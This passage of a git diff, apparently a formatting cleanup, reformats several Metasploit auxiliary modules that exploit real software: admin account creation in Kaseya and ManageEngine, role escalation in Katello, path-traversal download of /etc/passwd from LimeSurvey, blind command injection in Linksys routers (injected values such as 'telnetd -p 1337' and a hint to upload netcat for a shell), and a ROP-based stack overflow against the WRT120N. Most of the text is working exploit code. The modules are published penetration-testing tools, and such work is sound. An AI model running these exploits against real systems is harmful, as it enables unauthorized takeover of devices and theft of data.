OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
])
]
)
end
def run
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
'method' =>'GET',
'method' => 'GET'
})
if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
session_val = $1
session_val = ::Regexp.last_match(1)
else
print_error("Failed to get sessionVal")
print_error('Failed to get sessionVal')
return
end
@ -58,7 +60,7 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
'method' =>'POST',
'method' => 'POST',
'vars_post' => {
'sessionVal' => session_val,
'adminName' => datastore['KASEYA_USER'],
@ -70,20 +72,20 @@ class MetasploitModule < Msf::Auxiliary
})
unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
print_error("Master Administrator account creation failed")
print_error('Master Administrator account creation failed')
return
end
print_good("Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
connection_details = {
module_fullname: self.fullname,
username: datastore['KASEYA_USER'],
private_data: datastore['KASEYA_PASS'],
private_type: :password,
workspace_id: myworkspace_id,
access_level: 'Master Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
module_fullname: fullname,
username: datastore['KASEYA_USER'],
private_data: datastore['KASEYA_PASS'],
private_type: :password,
workspace_id: myworkspace_id,
access_level: 'Master Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
end

View File

@ -8,21 +8,20 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization',
'Description' => %q{
'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization',
'Description' => %q{
This module exploits a missing authorization vulnerability in the
"update_roles" action of "users" controller of Katello and Red Hat Satellite
(Katello 1.5.0-14 and earlier) by changing the specified account to an
administrator account.
},
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-2143'],
['CWE', '862'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=970849']
],
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' => [
['CVE', '2013-2143'],
['CWE', '862'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=970849']
],
'DisclosureDate' => 'Mar 24 2014'
)
@ -40,8 +39,8 @@ class MetasploitModule < Msf::Auxiliary
def run
print_status("Logging into #{target_url}...")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'user_session', 'new'),
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'user_session', 'new'),
'vars_get' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
@ -53,11 +52,11 @@ class MetasploitModule < Msf::Auxiliary
return
end
if res.headers['Location'] =~ /user_session\/new$/
if res.headers['Location'] =~ %r{user_session/new$}
print_error('Authentication failed')
return
else
session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
session = ::Regexp.last_match(1) if res.get_cookies =~ /_katello_session=(\S*);/
if session.nil?
print_error('Failed to retrieve the current session')
@ -69,7 +68,7 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi(
'cookie' => "_katello_session=#{session}",
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'dashboard')
'uri' => normalize_uri(target_uri.path, 'dashboard')
)
if res.nil?
@ -77,11 +76,11 @@ class MetasploitModule < Msf::Auxiliary
return
end
if res.headers['Location'] =~ /user_session\/new$/
if res.headers['Location'] =~ %r{user_session/new$}
print_error('Authentication failed')
return
else
session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
session = ::Regexp.last_match(1) if res.get_cookies =~ /_katello_session=(\S*);/
if session.nil?
print_error('Failed to retrieve the current session')
@ -89,19 +88,21 @@ class MetasploitModule < Msf::Auxiliary
end
end
if res.headers['Location'] =~ /user_session\/new$/
if res.headers['Location'] =~ %r{user_session/new$}
print_error('Failed to retrieve the user id')
return
else
csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i
csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil?
csrf_token = ::Regexp.last_match(1) if res.body =~ %r{<meta +content="(\S*)" +name="csrf-token" */?>}i
if csrf_token.nil? && (res.body =~ %r{<meta +name="csrf-token" +content="(\S*)" */?>}i)
csrf_token = ::Regexp.last_match(1)
end
if csrf_token.nil?
print_error('Failed to retrieve the CSRF token')
return
end
user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/
user = ::Regexp.last_match(1) if res.body =~ %r{/users.(\d+)#list_search=#{datastore['USERNAME']}}
if user.nil?
print_error('Failed to retrieve the user id')
@ -111,12 +112,12 @@ class MetasploitModule < Msf::Auxiliary
print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...")
res = send_request_cgi(
'cookie' => "_katello_session=#{session}",
'headers' => {
'X-CSRF-Token' => csrf_token
'cookie' => "_katello_session=#{session}",
'headers' => {
'X-CSRF-Token' => csrf_token
},
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'),
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'),
'vars_post' => {
'user[role_ids][]' => '1'
}

View File

@ -10,35 +10,38 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Limesurvey Unauthenticated File Download",
'Description' => %q{
This module exploits an unauthenticated file download vulnerability
in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded
as a ZIP and unzipped automatically, thus binary files can be downloaded.
},
'Author' =>
[
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Limesurvey Unauthenticated File Download',
'Description' => %q{
This module exploits an unauthenticated file download vulnerability
in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded
as a ZIP and unzipped automatically, thus binary files can be downloaded.
},
'Author' => [
'Pichaya Morimoto', # Vulnerability Discovery
'Christian Mehlmauer' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-lime-survey/'],
['URL', 'https://www.limesurvey.org/blog/22-security/136-limesurvey-security-advisory-10-2015'],
['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1']
],
'DisclosureDate' => '2015-10-12'))
'DisclosureDate' => '2015-10-12'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, "The base path to the limesurvey installation", '/']),
OptString.new('TARGETURI', [true, 'The base path to the limesurvey installation', '/']),
OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15])
])
]
)
end
def filepath
@ -50,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary
end
def payload
traversal = "/.." * traversal_depth
traversal = '/..' * traversal_depth
file = "#{traversal}#{filepath}"
serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}'
Rex::Text.encode_base64(serialized)

View File

@ -7,32 +7,36 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys E1500/E2500 Remote Command Execution',
'Description' => %q{
super(
update_info(
info,
'Name' => 'Linksys E1500/E2500 Remote Command Execution',
'Description' => %q{
Some Linksys Routers are vulnerable to an authenticated OS command injection.
Default credentials for the web interface are admin/admin or admin/password. Since
it is a blind os command injection vulnerability, there is no output for the
executed command. A ping command against a controlled system for can be used for
testing purposes.
},
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE,
'References' =>
[
Default credentials for the web interface are admin/admin or admin/password. Since
it is a blind os command injection vulnerability, there is no output for the
executed command. A ping command against a controlled system for can be used for
testing purposes.
},
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE,
'References' => [
[ 'OSVDB', '89912' ],
[ 'BID', '57760' ],
[ 'EDB', '24475' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
],
'DisclosureDate' => '2013-02-05'))
'DisclosureDate' => '2013-02-05'
)
)
register_options(
[
OptString.new('HttpUsername',[ true, 'User to login with', 'admin']),
OptString.new('HttpPassword',[ true, 'Password to login with', 'password']),
OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])
])
]
)
end
def run
@ -44,9 +48,9 @@ class MetasploitModule < Msf::Auxiliary
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user,pass)
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
return if res.nil?
@ -58,7 +62,6 @@ class MetasploitModule < Msf::Auxiliary
print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
return
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
@ -74,19 +77,19 @@ class MetasploitModule < Msf::Auxiliary
vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
begin
res = send_request_cgi({
'uri' => uri,
'uri' => uri,
'method' => 'POST',
'authorization' => basic_auth(user,pass),
'authorization' => basic_auth(user, pass),
'vars_post' => {
"submit_button" => "Diagnostics",
"change_action" => "gozila_cgi",
"submit_type" => "start_ping",
"action" => "",
"commit" => "0",
"ping_ip" => "1.1.1.1",
"ping_size" => "&#{cmd}&",
"ping_times" => "5",
"traceroute_ip" => ""
'submit_button' => 'Diagnostics',
'change_action' => 'gozila_cgi',
'submit_type' => 'start_ping',
'action' => '',
'commit' => '0',
'ping_ip' => '1.1.1.1',
'ping_size' => "&#{cmd}&",
'ping_times' => '5',
'traceroute_ip' => ''
}
})
rescue ::Rex::ConnectionError

View File

@ -7,35 +7,37 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys WRT120N tmUnblock Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in the WRT120N Linksys router
to reset the password of the management interface temporarily to an empty value.
This module has been tested successfully on a WRT120N device with firmware version
1.0.07.
},
'Author' =>
[
'Craig Heffner', # vulnerability discovery and original exploit
'Michael Messner <devnull[at]s3cur1ty.de>' # metasploit module
super(
update_info(
info,
'Name' => 'Linksys WRT120N tmUnblock Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in the WRT120N Linksys router
to reset the password of the management interface temporarily to an empty value.
This module has been tested successfully on a WRT120N device with firmware version
1.0.07.
},
'Author' => [
'Craig Heffner', # vulnerability discovery and original exploit
'Michael Messner <devnull[at]s3cur1ty.de>' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'EDB', '31758' ],
[ 'OSVDB', '103521' ],
[ 'URL', 'https://web.archive.org/web/20210424073058/http://www.devttys0.com/2014/02/wrt120n-fprintf-stack-overflow/' ] # a huge amount of details about this vulnerability and the original exploit
],
'DisclosureDate' => '2014-02-19'))
'DisclosureDate' => '2014-02-19'
)
)
end
def check_login(user)
print_status("Trying to login with #{user} and empty password")
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user,"")
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user, '')
})
if res.nil? || res.code == 404
print_status("No login possible with #{user} and empty password")
@ -50,56 +52,56 @@ class MetasploitModule < Msf::Auxiliary
end
def run
begin
if check_login("admin")
print_good("login with user admin and no password possible. There is no need to use this module.")
if check_login('admin')
print_good('login with user admin and no password possible. There is no need to use this module.')
return
end
rescue ::Rex::ConnectionError
print_error("Failed to connect to the web server")
print_error('Failed to connect to the web server')
return
end
print_status("Resetting password for the admin user ...")
print_status('Resetting password for the admin user ...')
postdata = Rex::Text.rand_text_alpha(246) # Filler
postdata << [0x81544AF0].pack("N") # $s0, address of admin password in memory
postdata << [0x8031f634].pack("N") # $ra
postdata << [0x81544AF0].pack('N') # $s0, address of admin password in memory
postdata << [0x8031f634].pack('N') # $ra
postdata << Rex::Text.rand_text_alpha(40) # Stack filler
postdata << Rex::Text.rand_text_alpha(4) # Stack filler
postdata << [0x803471b8].pack("N") # ROP 1 $ra (address of ROP 2)
postdata << [0x803471b8].pack('N') # ROP 1 $ra (address of ROP 2)
postdata << Rex::Text.rand_text_alpha(8) # Stack filler
(0..3).each do |i|
4.times do |i|
postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s0, don't care
postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s1, don't care
postdata << [0x803471b8].pack("N") # ROP 2 $ra (address of itself)
postdata << Rex::Text.rand_text_alpha(4-(3*(i/3))) # Stack filler
postdata << [0x803471b8].pack('N') # ROP 2 $ra (address of itself)
postdata << Rex::Text.rand_text_alpha(4 - (3 * (i / 3))) # Stack filler
end
begin
res = send_request_cgi(
{
'uri' => normalize_uri("cgi-bin", "tmUnblock.cgi"),
'uri' => normalize_uri('cgi-bin', 'tmUnblock.cgi'),
'method' => 'POST',
'vars_post' => {
'period' => '0',
'TM_Block_MAC' => '00:01:02:03:04:05',
'TM_Block_URL' => postdata
}
})
if res and res.code == 500
if check_login("admin")
print_good("Expected answer and the login was successful. Try to login with the user admin and a blank password")
}
)
if res && (res.code == 500)
if check_login('admin')
print_good('Expected answer and the login was successful. Try to login with the user admin and a blank password')
else
print_status("Expected answer, but unknown exploit status. Try to login with the user admin and a blank password")
print_status('Expected answer, but unknown exploit status. Try to login with the user admin and a blank password')
end
else
print_error("Unexpected answer. Exploit attempt has failed")
print_error('Unexpected answer. Exploit attempt has failed')
end
rescue ::Rex::ConnectionError
print_error("Failed to connect to the web server")
print_error('Failed to connect to the web server')
return
end
end

View File

@ -7,46 +7,50 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys WRT54GL Remote Command Execution',
'Description' => %q{
super(
update_info(
info,
'Name' => 'Linksys WRT54GL Remote Command Execution',
'Description' => %q{
Some Linksys Routers are vulnerable to OS Command injection.
You will need credentials to the web interface to access the vulnerable part
of the application.
Default credentials are always a good starting point. admin/admin or admin
and blank password could be a first try.
Note: This is a blind OS command injection vulnerability. This means that
you will not see any output of your command. Try a ping command to your
local system and observe the packets with tcpdump (or equivalent) for a first test.
You will need credentials to the web interface to access the vulnerable part
of the application.
Default credentials are always a good starting point. admin/admin or admin
and blank password could be a first try.
Note: This is a blind OS command injection vulnerability. This means that
you will not see any output of your command. Try a ping command to your
local system and observe the packets with tcpdump (or equivalent) for a first test.
Hint: To get a remote shell you could upload a netcat binary and exec it.
WARNING: this module will overwrite network and DHCP configuration.
},
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE,
'References' =>
[
Hint: To get a remote shell you could upload a netcat binary and exec it.
WARNING: this module will overwrite network and DHCP configuration.
},
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ],
[ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ],
[ 'EDB', '24202' ],
[ 'BID', '57459' ],
[ 'OSVDB', '89421' ]
],
'DisclosureDate' => '2013-01-18'))
'DisclosureDate' => '2013-01-18'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']),
OptString.new('HttpUsername',[ true, 'User to login with', 'admin']),
OptString.new('HttpPassword',[ false, 'Password to login with', 'password']),
OptString.new('TARGETURI', [ true, 'PATH to OS Command Injection', '/apply.cgi']),
OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
OptString.new('HttpPassword', [ false, 'Password to login with', 'password']),
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),
OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),
OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']),
OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),
OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])
])
]
)
end
# If the user configured LANIP, use it. Otherwise, use RHOST.
@ -60,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
end
def run
#setting up some basic variables
# setting up some basic variables
uri = datastore['TARGETURI']
user = datastore['HttpUsername']
rhost = datastore['RHOST']
@ -72,7 +76,7 @@ class MetasploitModule < Msf::Auxiliary
ip = lan_ip.split('.')
if datastore['HttpPassword'].nil?
pass = ""
pass = ''
else
pass = datastore['HttpPassword']
end
@ -81,18 +85,18 @@ class MetasploitModule < Msf::Auxiliary
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user,pass)
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
unless (res.kind_of? Rex::Proto::Http::Response)
unless (res.is_a? Rex::Proto::Http::Response)
vprint_error("#{rhost} not responding")
return :abort
end
if (res.code == 404)
print_error("Not Found page returned")
print_error('Not Found page returned')
return :abort
end
@ -102,7 +106,6 @@ class MetasploitModule < Msf::Auxiliary
print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")
return :abort
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost} - Failed to connect to the web server")
return :abort
@ -110,18 +113,18 @@ class MetasploitModule < Msf::Auxiliary
cmd = datastore['CMD']
print_status("Sending remote command: " + cmd)
print_status('Sending remote command: ' + cmd)
#cmd = Rex::Text.uri_encode(datastore['CMD'])
#original Post Request:
#data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"
#data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"
#data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"
#data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"
#data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"
#data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"
#data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"
#data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
# cmd = Rex::Text.uri_encode(datastore['CMD'])
# original Post Request:
# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"
# data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"
# data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"
# data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"
# data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"
# data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"
# data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"
# data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
vprint_status("using the following target URL: #{uri}")
@ -129,55 +132,55 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'authorization' => basic_auth(user,pass),
#'data' => data_cmd,
'authorization' => basic_auth(user, pass),
# 'data' => data_cmd,
'vars_post' => {
'submit_button' => "index",
'change_action' => "1",
'submit_type' => "1",
'action' => "Apply",
'now_proto' => "dhcp",
'daylight_time' => "1",
'lan_ipaddr' => "4",
'wait_time' => "0",
'need_reboot' => "0",
'ui_language' => "de",
'wan_proto' => "dhcp",
'router_name' => "#{routername}",
'submit_button' => 'index',
'change_action' => '1',
'submit_type' => '1',
'action' => 'Apply',
'now_proto' => 'dhcp',
'daylight_time' => '1',
'lan_ipaddr' => '4',
'wait_time' => '0',
'need_reboot' => '0',
'ui_language' => 'de',
'wan_proto' => 'dhcp',
'router_name' => routername.to_s,
'wan_hostname' => "`#{cmd}`",
'wan_domain' => "#{wandomain}",
'mtu_enable' => "1",
'wan_mtu' => "#{wanmtu}",
'lan_ipaddr_0' => "#{ip[0]}",
'lan_ipaddr_1' => "#{ip[1]}",
'lan_ipaddr_2' => "#{ip[2]}",
'lan_ipaddr_3' => "#{ip[3]}",
'lan_netmask' => "#{netmask}",
'lan_proto' => "dhcp",
'dhcp_check' => "1",
'dhcp_start' => "100",
'dhcp_num' => "50",
'dhcp_lease' => "0",
'wan_dns' => "4",
'wan_dns0_0' => "0",
'wan_dns0_1' => "0",
'wan_dns0_2' => "0",
'wan_dns0_3' => "0",
'wan_dns1_0' => "0",
'wan_dns1_1' => "0",
'wan_dns1_2' => "0",
'wan_dns1_3' => "0",
'wan_dns2_0' => "0",
'wan_dns2_1' => "0",
'wan_dns2_2' => "0",
'wan_dns2_3' => "0",
'wan_wins' => "4",
'wan_wins_0' => "0",
'wan_wins_1' => "0",
'wan_wins_2' => "0",
'wan_wins_3' => "0",
'time_zone' => "-08+1+1",
'wan_domain' => wandomain.to_s,
'mtu_enable' => '1',
'wan_mtu' => wanmtu.to_s,
'lan_ipaddr_0' => (ip[0]).to_s,
'lan_ipaddr_1' => (ip[1]).to_s,
'lan_ipaddr_2' => (ip[2]).to_s,
'lan_ipaddr_3' => (ip[3]).to_s,
'lan_netmask' => netmask.to_s,
'lan_proto' => 'dhcp',
'dhcp_check' => '1',
'dhcp_start' => '100',
'dhcp_num' => '50',
'dhcp_lease' => '0',
'wan_dns' => '4',
'wan_dns0_0' => '0',
'wan_dns0_1' => '0',
'wan_dns0_2' => '0',
'wan_dns0_3' => '0',
'wan_dns1_0' => '0',
'wan_dns1_1' => '0',
'wan_dns1_2' => '0',
'wan_dns1_3' => '0',
'wan_dns2_0' => '0',
'wan_dns2_1' => '0',
'wan_dns2_2' => '0',
'wan_dns2_3' => '0',
'wan_wins' => '4',
'wan_wins_0' => '0',
'wan_wins_1' => '0',
'wan_wins_2' => '0',
'wan_wins_3' => '0',
'time_zone' => '-08+1+1',
'_daylight_time' => '1'
}
})
@ -186,13 +189,12 @@ class MetasploitModule < Msf::Auxiliary
return :abort
end
if res and res.code == 200
print_status("Blind Exploitation - Response expected")
if res && (res.code == 200)
print_status('Blind Exploitation - Response expected')
else
print_error("Blind Exploitation - Response don't expected")
end
print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed")
print_status("Blind Exploitation - unknown Exploitation state")
print_status('Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed')
print_status('Blind Exploitation - unknown Exploitation state')
end
end

View File

@ -8,72 +8,74 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
'Description' => %q{
This module exploits an administrator account creation vulnerability in Desktop Central
from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
several versions of Desktop Central (including MSP) from v7 onwards.
},
'Author' =>
[
super(
update_info(
info,
'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
'Description' => %q{
This module exploits an administrator account creation vulnerability in Desktop Central
from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
several versions of Desktop Central (including MSP) from v7 onwards.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['CVE', '2014-7862'],
['OSVDB', '116554'],
['URL', 'https://seclists.org/fulldisclosure/2015/Jan/2'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_dc9_admin.txt'],
],
'DisclosureDate' => '2014-12-31'))
'DisclosureDate' => '2014-12-31'
)
)
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 8020]),
OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),
OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
])
]
)
end
def run
# Generate password hash
salt = Time.now.to_i.to_s
password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"),
'method' =>'GET',
'uri' => normalize_uri(target_uri.path, '/servlets/DCPluginServelet'),
'method' => 'GET',
'vars_get' => {
'action' => 'addPlugInUser',
'role' => 'DCAdmin',
'userName' => datastore['USERNAME'],
'email' => datastore['EMAIL'],
'phNumber' => Rex::Text.rand_text_numeric(6),
'password' => password_encoded,
'salt' => salt,
'action' => 'addPlugInUser',
'role' => 'DCAdmin',
'userName' => datastore['USERNAME'],
'email' => datastore['EMAIL'],
'phNumber' => Rex::Text.rand_text_numeric(6),
'password' => password_encoded,
'salt' => salt,
'createdtime' => salt
}
})
# Yes, "sucess" is really mispelt, as is "Servelet" ... !
unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/
print_error("Administrator account creation failed")
print_error('Administrator account creation failed')
end
print_good("Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
connection_details = {
module_fullname: self.fullname,
username: datastore['USERNAME'],
private_data: datastore['PASSWORD'],
private_type: :password,
workspace_id: myworkspace_id,
access_level: 'Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
module_fullname: fullname,
username: datastore['USERNAME'],
private_data: datastore['PASSWORD'],
private_type: :password,
workspace_id: myworkspace_id,
access_level: 'Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
end

View File

@ -7,47 +7,50 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Multiple Products Arbitrary Directory Listing",
'Description' => %q{
This module exploits a directory listing information disclosure vulnerability in the
FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It
makes a recursive listing, so it will list the whole drive if you ask it to list / in
Linux or C:\ in Windows. This vulnerability is unauthenticated on OpManager and
Applications Manager, but authenticated in IT360. This module will attempt to login
using the default credentials for the administrator and guest accounts; alternatively
you can provide a pre-authenticated cookie or a username / password combo. For IT360
targets enter the RPORT of the OpManager instance (usually 8300). This module has been
tested on both Windows and Linux with several different versions. Windows paths have to
be escaped with 4 backslashes on the command line. There is a companion module that
allows for arbitrary file download. This vulnerability has been fixed in Applications
Manager v11.9 b11912 and OpManager 11.6.
},
'Author' =>
[
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine Multiple Products Arbitrary Directory Listing',
'Description' => %q{
This module exploits a directory listing information disclosure vulnerability in the
FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It
makes a recursive listing, so it will list the whole drive if you ask it to list / in
Linux or C:\ in Windows. This vulnerability is unauthenticated on OpManager and
Applications Manager, but authenticated in IT360. This module will attempt to login
using the default credentials for the administrator and guest accounts; alternatively
you can provide a pre-authenticated cookie or a username / password combo. For IT360
targets enter the RPORT of the OpManager instance (usually 8300). This module has been
tested on both Windows and Linux with several different versions. Windows paths have to
be escaped with 4 backslashes on the command line. There is a companion module that
allows for arbitrary file download. This vulnerability has been fixed in Applications
Manager v11.9 b11912 and OpManager 11.6.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['CVE', '2014-7863'],
['OSVDB', '117696'],
['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt']
],
'DisclosureDate' => '2015-01-28'))
'DisclosureDate' => '2015-01-28'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']),
